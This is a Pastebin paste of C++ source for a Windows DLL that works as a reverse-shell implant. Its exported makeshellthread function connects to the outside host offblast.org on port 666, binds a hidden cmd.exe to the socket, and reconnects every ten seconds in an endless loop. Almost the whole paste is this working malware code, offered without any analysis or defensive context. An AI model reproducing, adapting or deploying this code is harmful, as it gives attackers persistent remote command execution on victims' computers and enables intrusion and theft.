Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // dllmain.cpp : Defines the entry point for the DLL application.
- #define WIN32_LEAN_AND_MEAN
- #include <windows.h>
- #include <ws2tcpip.h>
- #pragma comment(lib, "ws2_32")
- #include <cstdio>
- #include <string.h>
- #define DEBUG 1
- extern "C" __declspec(dllexport) int makeshellthread(); // make sure outside application can find the function we want to run!
- extern int makeshellthread(); // prototypes
- void makeshell();
- BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
- // this is boring DLL crap. called when DLL is loaded (?)
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
- extern int makeshellthread() {
- WSADATA wsaData;
- WSAStartup(MAKEWORD(2,0),&wsaData);
- DWORD dwThreadId;
- HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)makeshell, NULL, 0, &dwThreadId);
- return 0;
- WSACleanup();
- }
- void makeshell(){
- // socket, process info
- while(1){
- SOCKET hSocket = 0;
- char *hostname = "offblast.org";
- unsigned short port = 666;
- // networking structs
- struct addrinfo *result = NULL;
- struct addrinfo *ptr = NULL;
- struct addrinfo hints;
- struct sockaddr_in *adik_sin;
- // prep structs
- SecureZeroMemory(&adik_sin, sizeof(adik_sin));
- SecureZeroMemory(&hints, sizeof(hints));
- // prep hints struct
- hints.ai_family = AF_UNSPEC;
- hints.ai_socktype = SOCK_STREAM;
- hints.ai_protocol = IPPROTO_TCP;
- // get addr info :D
- getaddrinfo(hostname, "666", &hints, &result); // already done that. then what does that function do? what func, the one you typed? inet_ptons() host -> network byte stuff.. :/
- // make a pointer
- // use this for iterating through the results of getaddrinfo
- // for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) {
- ptr=result;
- // make a socket handle
- hSocket = WSASocketW(result->ai_family,SOCK_STREAM,NULL,NULL,NULL,NULL);
- // set up the data for connect()
- adik_sin = (struct sockaddr_in *)ptr->ai_addr;
- // convert the IP to a string and print it:
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- // USE THE FOLLOWING ONLY TO PRINT DATA
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- /*
- void *addr;
- char *ipver;
- addr = &(adik_sin->sin_addr);
- if(adik_sin->sin_family = 2) {
- ipver = "IPv4";
- }
- else
- {
- ipver ="AF_Unknown";
- }
- char ipstr[INET6_ADDRSTRLEN] = { NULL };
- getnameinfo((struct sockaddr *) &addr, sizeof (struct sockaddr), ipstr, INET6_ADDRSTRLEN, NULL, 0, NI_NUMERICSERV);
- */
- ///////////////////////////////////////////////////////////////////////////////////////////////////
- // connect to our IP
- connect(hSocket,(struct sockaddr*) adik_sin,sizeof(struct sockaddr));
- // set up the I/O handles for our process, redirect everything to the socket
- STARTUPINFOA si;
- SecureZeroMemory(&si, sizeof(si));
- si.cb = sizeof(si);
- si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
- si.wShowWindow = SW_HIDE;
- si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
- /*
- SECURITY_ATTRIBUTES *sa;
- SECURITY_DESCRIPTOR *sd;
- // set the acl
- ACL *acl;
- EXPLICIT_ACCESS ea;
- SecureZeroMemory(&acl, sizeof(ACL));
- acl->AclRevision = ACL_REVISION;
- // set up security -.-
- InitializeSecurityDescriptor(&sd,SECURITY_DESCRIPTOR_REVISION);
- sa->nLength = sizeof(SECURITY_ATTRIBUTES);
- sa->lpSecurityDescriptor = sd;
- sa->bInheritHandle = TRUE;
- */
- // call the process
- PROCESS_INFORMATION pi;
- //wchar_t wcmd[] = L"%systemroot%//system32//cmd.exe";
- BOOL procWorked = CreateProcessA(NULL,"cmd.exe",NULL,NULL,true,0,NULL,NULL,&si,&pi);
- #ifdef DEBUG
- if(procWorked == 0) {
- char *error = new char[100];
- sprintf(error, "CreateProcess FAILED: %i", GetLastError());
- MessageBoxA(0, error, "CreateProcess()", MB_OK);
- }
- #endif
- WaitForSingleObject(pi.hProcess, INFINITE);
- CloseHandle( pi.hProcess );
- CloseHandle( pi.hThread );
- // free the struct returned by getaddrinfo()
- freeaddrinfo(result);
- WSASendDisconnect(hSocket, NULL);
- closesocket(hSocket);
- Sleep(10000);
- }
- }
Add Comment
Please, Sign In to add comment